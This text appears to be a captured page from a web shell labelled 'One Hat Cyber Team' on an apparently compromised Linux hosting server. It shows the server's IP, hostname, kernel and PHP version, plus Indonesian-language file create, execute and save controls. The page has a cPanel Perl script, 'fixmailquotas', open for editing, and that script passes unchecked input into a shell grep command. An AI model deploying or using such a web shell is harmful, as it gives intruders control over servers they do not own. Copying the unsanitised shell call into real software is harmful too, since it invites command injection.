One Hat Cyber Team
Your IP :
18.221.87.184
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
bin
/
Edit File:
fixmailquotas
#!/usr/bin/perl -w die "Please enter a domain name.\n" unless $ARGV[0]; sub getuser { $fname = `grep -l -R $ARGV[0] /var/cpanel/users`; chomp($fname); @fline = split (/\//, $fname); $cpuser = $fline[4]; if (!$cpuser) { die "Domain is not local to this server.\n"; } else { return $cpuser; } } sub fixquota { my $cpuser = shift; $path = "/home/". $cpuser . "/etc/$ARGV[0]/quota"; open (QUOTA, "+<$path") or die "Can't open quota file: $!\n"; @quota = <QUOTA>; seek QUOTA,0,0; foreach (@quota) { chomp($_); $qline = $_; $nqline = $_ . "0\n"; s/$qline/$nqline/g; print QUOTA; } close QUOTA; } &fixquota (&getuser($ARGV[0]));
Simpan